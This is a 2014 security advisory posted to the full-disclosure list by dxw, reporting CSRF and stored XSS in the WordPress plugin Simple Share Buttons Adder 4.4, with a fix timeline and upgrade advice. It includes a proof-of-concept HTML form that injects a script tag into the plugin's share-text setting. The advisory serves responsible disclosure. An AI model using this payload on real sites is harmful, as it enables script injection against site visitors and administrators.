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List:       full-disclosure
Subject:    [FD] CSRF and stored XSS in Simple Share Buttons Adder 4.4 (WordPress plugin)
From:       dxw Security <security () dxw ! com>
Date:       2014-06-26 9:37:25
Message-ID: 06d0e8df6a0aed85ad351adec6445558 () security ! dxw ! com
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Details
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
                
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4

Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute \
arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and \
post Excerpts.


Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert \
will display on the homepage. (In a real attack the form can be made to auto-submit using \
Javascript). <form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" \
method=\"POST\">  <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">
</form>

Mitigations
================
Immediately upgrade to version 4.5 or greater.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: \
https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third \
party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your \
behalf.

This vulnerability will be published if we do not receive a response to this report with 14 \
days.

Timeline
================

2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5

 


Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information.
          


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